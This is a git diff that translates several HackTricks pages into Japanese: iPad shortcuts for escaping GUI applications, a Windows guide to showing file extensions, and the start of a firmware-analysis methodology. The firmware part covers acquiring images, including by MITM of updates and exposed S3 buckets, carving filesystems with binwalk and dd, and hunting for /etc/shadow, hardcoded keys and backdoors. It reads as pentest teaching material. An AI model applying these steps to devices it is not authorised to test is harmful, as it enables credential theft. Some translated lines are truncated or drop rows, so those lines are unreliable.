| Brighten screen | -| F7 | Back one song | -| F8 | Play/pause | -| F9 | Skip song | -| F10 | Mute | -| F11 | Decrease volume | -| F12 | Increase volume | -| ⌘ Space | Display a list of available languages; to choose one, tap the space bar again. | +| F1 | 画面を暗くする | +| F2 | 画面を明るくする | +| F7 | 前の曲に戻る | +| F8 | 再生/一時停止 | +| F9 | 次の曲にスキップ | +| F10 | ミュート | +| F11 | 音量を下げる | +| F12 | 音量を上げる | +| ⌘ Space | 使用可能な言語のリストを表示します。選択するには、再度スペースバーをタップします。 | -### iPad navigation +### iPadのナビゲーション -| Shortcut | Action | +| ショートカット | アクション | | -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Go to Home | -| ⌘⇧H (Command-Shift-H) | Go to Home | -| ⌘ (Space) | Open Spotlight | -| ⌘⇥ (Command-Tab) | List last ten used apps | -| ⌘\~ | Go t the last App | -| ⌘⇧3 (Command-Shift-3) | Screenshot (hovers in bottom left to save or act on it) | -| ⌘⇧4 | Screenshot and open it in the editor | -| Press and hold ⌘ | List of shortcuts available for the App | -| ⌘⌥D (Command-Option/Alt-D) | Brings up the dock | -| ^⌥H (Control-Option-H) | Home button | -| ^⌥H H (Control-Option-H-H) | Show multitask bar | -| ^⌥I (Control-Option-i) | Item chooser | -| Escape | Back button | -| → (Right arrow) | Next item | -| ← (Left arrow) | Previous item | -| ↑↓ (Up arrow, Down arrow) | Simultaneously tap selected item | -| ⌥ ↓ (Option-Down arrow) | Scroll down | -| ⌥↑ (Option-Up arrow) | Scroll up | -| ⌥← or ⌥→ (Option-Left arrow or Option-Right arrow) | Scroll left or right | -| ^⌥S (Control-Option-S) | Turn VoiceOver speech on or off | -| ⌘⇧⇥ (Command-Shift-Tab) | Switch to the previous app | -| ⌘⇥ (Command-Tab) | Switch back to the original app | -| ←+→, then Option + ← or Option+→ | Navigate through Dock | +| ⌘H | ホームに移動 | +| ⌘⇧H (Command-Shift-H) | ホームに移動 | +| ⌘ (Space) | Spotlightを開く | +| ⌘⇥ +| ⌘⇧⇥ (Command-Shift-Tab) | 前のアプリに切り替える | +| ⌘⇥ (Command-Tab) | 元のアプリに戻る | +| ←+→, その後 Option + ← または Option+→ | ドックを通じてナビゲートする | -### Safari shortcuts +### Safari ショートカット -| Shortcut | Action | +| ショートカット | アクション | | ----------------------- | ------------------------------------------------ | -| ⌘L (Command-L) | Open Location | -| ⌘T | Open a new tab | -| ⌘W | Close the current tab | -| ⌘R | Refresh the current tab | -| ⌘. | Stop loading the current tab | -| ^⇥ | Switch to the next tab | -| ^⇧⇥ (Control-Shift-Tab) | Move to the previous tab | -| ⌘L | Select the text input/URL field to modify it | -| ⌘⇧T (Command-Shift-T) | Open last closed tab (can be used several times) | -| ⌘\[ | Goes back one page in your browsing history | -| ⌘] | Goes forward one page in your browsing history | -| ⌘⇧R | Activate Reader Mode | +| ⌘L (Command-L) | ロケーションを開く | +| ⌘T | 新しいタブを開く | +| ⌘W | 現在のタブを閉じる | +| ⌘R | 現在のタブをリフレッシュする | +| ⌘. | 現在のタブの読み込みを停止する | +| ^⇥ | 次のタブに切り替える | +| ^⇧⇥ (Control-Shift-Tab) | 前のタブに移動する | +| ⌘L | テキスト入力/URLフィールドを選択して変更する | +| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(複数回使用できる) | +| ⌘\[ | ブラウジング履歴で1ページ戻る | +| ⌘] | ブラウジング履歴で1ページ進む | +| ⌘⇧R | リーダーモードをアクティブにする | -### Mail shortcuts +### メール ショートカット -| Shortcut | Action | +| ショートカット | アクション | | -------------------------- | ---------------------------- | -| ⌘L | Open Location | -| ⌘T | Open a new tab | -| ⌘W | Close the current tab | -| ⌘R | Refresh the current tab | -| ⌘. | Stop loading the current tab | -| ⌘⌥F (Command-Option/Alt-F) | Search in your mailbox | +| ⌘L | ロケーションを開く | +| ⌘T | 新しいタブを開く | +| ⌘W | 現在のタブを閉じる | +| ⌘R | 現在のタブをリフレッシュする | +| ⌘. | 現在のタブの読み込みを停止する | +| ⌘⌥F (Command-Option/Alt-F) | メールボックス内を検索する | -## References +## 参考文献 * [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html) * [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html) @@ -313,16 +298,14 @@ These shortcuts are for the visual settings and sound settings, depending on the ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricks**で**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/physical-attacks/escaping-from-gui-applications/show-file-extensions.md b/physical-attacks/escaping-from-gui-applications/show-file-extensions.md index 557846fb7..834ed3d27 100644 --- a/physical-attacks/escaping-from-gui-applications/show-file-extensions.md +++ b/physical-attacks/escaping-from-gui-applications/show-file-extensions.md @@ -1,80 +1,73 @@ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! + +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 + +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 + +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** + +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** + +
+ + +## Windows XPでファイルの拡張子を表示する方法 + +1. Windows Explorerを開きます。これは、スタートメニューから「マイコンピュータ」をクリックすることで行うことができます。ただし、これはInternet Explorerとは異なるものです。 +2. Explorerのメニューバー(メニューバーはウィンドウのタイトルの下にある、Explorerウィンドウの上部にある)で「ツール」メニューをクリックします。表示されるポップアップメニューで「フォルダーオプション」アイテムをクリックします。 +3. ダイアログボックスが表示されます。ウィンドウの上部にある「表示」タブをクリックします。 +4. 「既知のファイルの拡張子を非表示にする」設定を探し、その横のチェックボックスをオフにします。 +5. 「すべてのフォルダに適用」ボタンをクリックします。その後、「適用」、そして「OK」をクリックします。 + +## Windows VistaおよびWindows 7でのファイル拡張子の表示 + +1. スタートメニューをクリックします。これは画面の左下隅にある丸いアイコンです。 +2. 「folder options」と入力します(引用符なし)。スタートメニューの上部に表示される「Folder Options」という行をクリックします。 +3. 「Folder Options」というタイトルのダイアログボックスが表示されます。ウィンドウの上部にある「表示」タブをクリックします。 +4. 「既知のファイルの拡張子を非表示にする」のチェックボックスをオフにします。 +5. ダイアログボックスの下部にある「OK」ボタンをクリックします。 + +## Windows 8でファイルの拡張子を表示する方法 + +1. スタート画面を呼び出します。これを行う方法の1つは、マウスを画面の左下隅に移動することです。Windows 8では、スタート画面が表示されることを示す明示的な表示はありませんが、表示されます。 +2. 「folder options」と入力します(引用符なし)。スタート画面には空白のフィールドがないことを知っています。実際には何かを入力できることを示唆するものはありませんが、入力できます。単に入力します。 +3. 画面の左側には「検索結果が見つかりません」というがっかりするメッセージが表示されます。Windows 8のスタート画面の検索機能は、既に見つける場所を知っていて、それがどこにあるかを教えることができる場合にのみ、何かを見つけることができます。 + +画面の右側にある「設定」という行をクリックします。 +4. 画面の左側には、「Folder Options」が可能な結果の1つとして表示されます。それをクリックします。 +5. 「Folder Options」というタイトルのウィンドウが表示されます。そのダイアログボックスの上部にある「表示」タブをクリックします。 +6. 「既知のファイルの拡張子を非表示にする」の行を探し、その横のボックスをクリックしてチェックを外します。 +7. 「OK」ボタンをクリックします。 + +## Windows 10でファイルの拡張子を表示する方法 + +1. 画面の下部にあるタスクバーのアイコンをクリックして、スタートメニューを呼び出します(アイコンはWindowsロゴの白いバージョンのものです)。 +2. 「folder options」と入力します(引用符なし)。画面には入力できる空白のフィールドはありませんが、入力することができます。単に入力します。 +3. 「Best match」リストに表示される「File Explorer Options」という項目をクリックします。 +4. 「File Explorer Options」というタイトルのダイアログボックスが表示されます。ウィンドウの上部にある「表示」タブをクリックします。 +5. 「既知のファイルの拡張子を非表示にする」の項目をスクロールして、その横のボックスをクリックしてチェックを外します。 +6. ダイアログボックスの下部にある「OK」ボタンをクリックします。 + +以上です。これで、Explorerウィンドウでファイルの真の拡張子を表示できるようになります。 + +著作権©2008-2018 Christopher Heng。[https://www.howtohaven.com/](https://www.howtohaven.com)からさらに「How To」ガイドやチュートリアルを入手してください。 + +**この記事は[**https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml**](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)で見つけることができます。**
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the +- **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **あなたのハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - -## How to Show File Extensions in Windows XP - -1. Open Windows Explorer. You can do this by clicking "My Computer" from the Start Menu. Note that this is NOT the same thing as Internet Explorer. -2. Click the "Tools" menu on the menu bar in Explorer (the menu bar is at the top of the Explorer window, underneath the window title). Click the "Folder Options" item in the popup menu that appears. -3. A dialog box appears. Click the "View" tab at the top of the window. -4. Look for a setting "Hide file extensions for known file types" and uncheck the box beside it to disable it. -5. Click the button "Apply to All Folders". Then click "Apply" and then "OK". - -## Displaying the File Extension in Windows Vista and Windows 7 - -1. Click the Start menu. This is the round icon that is on the bottom left corner of your screen. -2. Type "folder options" (without the quotes). Click the line "Folder Options" that appears at the top of the Start menu. -3. A dialog box with the title "Folder Options" will appear. Click the "View" tab at the top of the window. -4. Click to uncheck the box for "Hide extensions for known file types". -5. Click the "OK" button at the bottom of the dialog box. - -## How to Show File Extensions in Windows 8 - -1. Invoke the start screen. One way to do this is to move your mouse to the bottom left corner of your screen. In Windows 8, there's no indication that this will cause the start screen to appear, but it will. -2. Type "folder options" (without the quotes). I know that there is no blank field in the start screen to suggest that you can actually type anything. Like many things in Windows 8, arcane knowledge is needed to operate the system. -3. On the left side of the screen, you will get the disappointing message "No apps match your search". The start screen search facility in Windows 8 can only find something for you if you already know where to find it and can tell it where it is. - - Click the line "Settings" on the right side of the screen. -4. The left side of the screen now shows "Folder Options" as one of the possible results. Click it. -5. A window with the title "Folder Options" will appear. Click the "View" tab at the top of that dialog box. -6. Look for the line "Hide extensions of known file types" and click the box beside it to remove the tick. -7. Click the "OK" button. - -## How to Show File Extensions in Windows 10 - -1. Click the icon on the task bar at the bottom of the screen to invoke the Start menu. (The icon is the one that looks like a white version of the Windows logo.) -2. Type "folder options" (without the quotation marks). There is no blank field on the screen to suggest that you can type anything, but you can. Just type it. -3. Click the "File Explorer Options" item that appears in the "Best match" list that appears. -4. A dialog box with the title "File Explorer Options" will appear. Click the "View" tab at the top of the window. -5. Scroll to find the item "Hide extensions for known file types" and click the box next to it to remove the tick. -6. Click the "OK" button. - -That's it. You should now be able to see the true extensions of the files in your Explorer windows. - -Copyright © 2008-2018 by Christopher Heng. All rights reserved. Get more "How To" guides and tutorials from [https://www.howtohaven.com/](https://www.howtohaven.com). - -**This article can be found at** [**https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml**](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/physical-attacks/firmware-analysis/README.md b/physical-attacks/firmware-analysis/README.md index e5c398871..5cf5375a6 100644 --- a/physical-attacks/firmware-analysis/README.md +++ b/physical-attacks/firmware-analysis/README.md @@ -1,102 +1,99 @@ -# Firmware Analysis +# ファームウェア分析
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Introduction +## はじめに -Firmware is a type of software that provides communication and control over a device’s hardware components. It’s the first piece of code that a device runs. Usually, it **boots the operating system** and provides very specific runtime services for programs by **communicating with various hardware components**. Most, if not all, electronic devices have firmware. +ファームウェアは、デバイスのハードウェアコンポーネントに対する通信と制御を提供するソフトウェアの一種です。デバイスが実行する最初のコードです。通常、**オペレーティングシステムを起動**し、**さまざまなハードウェアコンポーネントとの通信**によってプログラムのための非常に特定のランタイムサービスを提供します。ほとんどの電子デバイスにはファームウェアがあります。 -Devices store firmware in **nonvolatile memory**, such as ROM, EPROM, or flash memory. +デバイスは、ROM、EPROM、またはフラッシュメモリなどの**不揮発性メモリ**にファームウェアを格納します。 -It’s important to **examine** the **firmware** and then attempt to **modify** it, because we can uncover many security issues during this process. +セキュリティの問題を多く発見できるため、ファームウェアを**調査**し、それを**変更**しようとすることが重要です。 -## **Information gathering and reconnaissance** +## **情報収集と偵察** -During this stage, collect as much information about the target as possible to understand its overall composition underlying technology. Attempt to gather the following: +この段階では、ターゲットに関するできるだけ多くの情報を収集し、その全体的な構成と基礎となる技術を理解するために必要な情報を収集しようとします。次の情報を収集しようとしてください。 -* Supported CPU architecture(s) -* Operating system platform -* Bootloader configurations -* Hardware schematics -* Datasheets -* Lines-of-code (LoC) estimates -* Source code repository location -* Third-party components -* Open source licenses (e.g. GPL) -* Changelogs -* FCC IDs -* Design and data flow diagrams -* Threat models -* Previous penetration testing reports -* Bug tracking tickets (e.g. Jira and bug bounty platforms such as BugCrowd or HackerOne) +* サポートされているCPUアーキテクチャ +* オペレーティングシステムプラットフォーム +* ブートローダの設定 +* ハードウェアの回路図 +* データシート +* コード行数(LoC)の推定 +* ソースコードリポジトリの場所 +* サードパーティのコンポーネント +* オープンソースライセンス(例:GPL) +* 変更履歴 +* FCC ID +* 設計およびデータフローダイアグラム +* 脅威モデル +* 以前の侵入テストレポート +* バグトラッキングチケット(例:Jira、BugCrowd、HackerOneなどのバグバウンティプラットフォーム) -Where possible, acquire data using open source intelligence (OSINT) tools and techniques. If open source software is used, download the repository and perform both manual as well as automated static analysis against the code base. Sometimes, open source software projects already use free static analysis tools provided by vendors that provide scan results such as [Coverity Scan](https://scan.coverity.com) and [Semmle’s LGTM](https://lgtm.com/#explore). +可能な限り、オープンソースインテリジェンス(OSINT)ツールと技術を使用してデータを取得します。オープンソースソフトウェアが使用されている場合は、リポジトリをダウンロードし、コードベースに対して手動および自動の静的解析を実行します。オープンソースソフトウェアプロジェクトでは、ベンダーが提供する無料の静的解析ツール([Coverity Scan](https://scan.coverity.com)や[Semmle’s LGTM](https://lgtm.com/#explore)など)を既に使用している場合があります。 -## Getting the Firmware +## ファームウェアの取得 -There are different ways with different difficulty levels to download the firmware +ファームウェアをダウンロードするためには、異なる難易度の方法があります。 -* **Directly** from the development team, manufacturer/vendor or client -* **Build from scratch** using walkthroughs provided by the manufacturer -* From the **vendor's support site** -* **Google dork** queries targeted towards binary file extensions and file sharing platforms such as Dropbox, Box, and Google drive - * It’s common to come across firmware images through customers who upload contents to forums, blogs, or comment on sites where they contacted the manufacturer to troubleshoot an issue and were given firmware via a zip or flash drive sent. - * Example: `intitle:"Netgear" intext:"Firmware Download"` -* Download builds from exposed cloud provider storage locations such as Amazon Web Services (AWS) S3 buckets (with tools such as [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)) -* **Man-in-the-middle** (MITM) device communication during **updates** -* Extract directly **from hardware** via **UART**, **JTAG**, **PICit**, etc. -* Sniff **serial communication** within hardware components for **update server requests** -* Via a **hardcoded endpoint** within the mobile or thick applications -* **Dumping** firmware from the **bootloader** (e.g. U-boot) to flash storage or over the **network** via **tftp** -* Removing the **flash chip** (e.g. SPI) or MCU from the board for offline analysis and data extraction (LAST RESORT). - * You will need a supported chip programmer for flash storage and/or the MCU. +* 開発チーム、メーカー/ベンダー、またはクライアントから**直接**ダウンロードする +* メーカーが提供する手順に従って**ゼロからビルド**する +* ベンダーのサポートサイトから**ダウンロード**する +* バイナリファイルの拡張子やDropbox、Box、Googleドライブなどのファイル共有プラットフォームに対して**Googleドーク**クエリを使用する +* フォーラムやブログにコンテンツをアップロードする顧客からファームウェアイメージに出くわすことがよくあります。また、問題のトラブルシューティングのためにメーカーに問い合わせ、zipファイルやフラッシュドライブを送ってもらったことがある場合もあります。 +* 例:`intitle:"Netgear" intext:"Firmware Download"` +* [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)などのツールを使用して、Amazon Web Services(AWS)のS3バケットなどの公開されたクラウドプロバイダのストレージ場所からビルドをダウンロードする +* **アップデート**時のデバイス間通信の**中間者攻撃**(MITM) +* **UART**、**JTAG**、**PICit**などを介してハードウェアから直接抽出する +* アップデートサーバリクエストのためのハードウェアコンポーネント内の**シリアル通信**をスニフィングする +* モバイルアプリケーションや厚いアプリケーション内の**ハードコードされたエンドポイント**を介して +* ブートローダ(例:U-boot)からフラッシュストレージまたは**tftp**を介してネットワーク経由でファームウェアを**ダンプ**する +* オフライン分析とデータ抽出のために、ボードから**フラッシュチップ**(例:SPI)またはMCUを取り外す(最終手段)。 +* フラッシュストレージと/またはMCUのサポートされているチッププログラマが必要です。 -## Analyzing the firmware - -Now that you **have the firmware**, you need to extract information about it to know how to treat it. Different tools you can use for that: +## ファームウェアの分析 +これで、**ファームウェアを取得**したので、それに関する情報を抽出して、どのように扱うかを知る必要があります。そのために使用できるさまざまなツール: ```bash -file -strings -n8 +file +strings -n8 strings -tx #print offsets in hex -hexdump -C -n 512 > hexdump.out +hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` +もしもそれらのツールであまり情報を見つけられない場合は、`binwalk -E `コマンドで画像の**エントロピー**をチェックしてください。エントロピーが低い場合、暗号化されていない可能性が高いです。エントロピーが高い場合、暗号化されている可能性があります(または何らかの方法で圧縮されています)。 -If you don't find much with those tools check the **entropy** of the image with `binwalk -E `, if low entropy, then it's not likely to be encrypted. If high entropy, Its likely encrypted (or compressed in some way). - -Moreover, you can use these tools to extract **files embedded inside the firmware**: +さらに、次のツールを使用して**ファームウェアに埋め込まれたファイル**を抽出することができます: {% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -Or [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) to inspect the file. +または、[**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/))を使用してファイルを検査することができます。 -### Getting the Filesystem +### ファイルシステムの取得 -With the previous commented tools like `binwalk -ev ` you should have been able to **extract the filesystem**.\ -Binwalk usually extracts it inside a **folder named as the filesystem type**, which usually is one of the following: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. +以前にコメントされた`binwalk -ev `のようなツールを使用すると、**ファイルシステムを抽出**することができます。\ +通常、Binwalkは**ファイルシステムの種類と同じ名前のフォルダ**に抽出します。ファイルシステムの種類は通常、以下のいずれかです:squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。 -#### Manual Filesystem Extraction - -Sometimes, binwalk will **not have the magic byte of the filesystem in its signatures**. In these cases, use binwalk to **find the offset of the filesystem and carve the compressed filesystem** from the binary and **manually extract** the filesystem according to its type using the steps below. +#### 手動でのファイルシステムの抽出 +場合によっては、binwalkには**ファイルシステムのマジックバイトがシグネチャに含まれていない**ことがあります。この場合、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し**、以下の手順に従ってファイルシステムを手動で抽出してください。 ``` $ binwalk DIR850L_REVB.bin @@ -108,11 +105,9 @@ DECIMAL HEXADECIMAL DESCRIPTION 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 ``` - -Run the following **dd command** carving the Squashfs filesystem. - +次の**ddコマンド**を実行して、Squashfsファイルシステムを切り出します。 ``` -$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs +$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs 8257536+0 records in @@ -120,8 +115,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s ``` - -Alternatively, the following command could also be run. +Alternatively, you can run the following command. `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` @@ -129,7 +123,7 @@ Alternatively, the following command could also be run. `$ unsquashfs dir.squashfs` -Files will be in "`squashfs-root`" directory afterwards. +Files will be in the "`squashfs-root`" directory afterwards. * CPIO archive files @@ -145,155 +139,193 @@ Files will be in "`squashfs-root`" directory afterwards. `$ ubidump.py ` -### Analyzing the Filesystem +### ファイルシステムの分析 -Now that you have the filesystem is time to start looking for bad practices such as: +ファイルシステムを取得したら、以下のような悪いプラクティスを探すことができます。 -* Legacy **insecure network daemons** such as telnetd (sometimes manufactures rename binaries to disguise ) -* **Hardcoded credentials** (usernames, passwords, API keys, SSH keys, and backdoor variants ) -* **Hardcoded API** endpoints and backend server details -* **Update server functionality** that could be used as an entry point -* **Review uncompiled code and start up scripts** for remote code execution -* **Extract compiled binaries** to be used for offline analysis with a disassembler for future steps +* telnetdなどの**セキュリティの脆弱性のあるネットワークデーモン**(メーカーがバイナリの名前を変更して隠すこともあります) +* **ハードコードされた認証情報**(ユーザー名、パスワード、APIキー、SSHキー、バックドアのバリエーションなど) +* **ハードコードされたAPI**エンドポイントとバックエンドサーバーの詳細 +* エントリーポイントとして使用できる**アップデートサーバーの機能** +* リモートコード実行のための**コンパイルされていないコードと起動スクリプトの確認** +* **オフライン分析**のためにコンパイルされたバイナリの抽出 -Some **interesting things to look** for inside the firmware: +ファームウェア内で探すべき興味深いもの: -* etc/shadow and etc/passwd -* list out the etc/ssl directory -* search for SSL related files such as .pem, .crt, etc. -* search for configuration files -* look for script files -* search for other .bin files -* look for keywords such as admin, password, remote, AWS keys, etc. -* search for common web servers used on IoT devices -* search for common binaries such as ssh, tftp, dropbear, etc. -* search for banned c functions 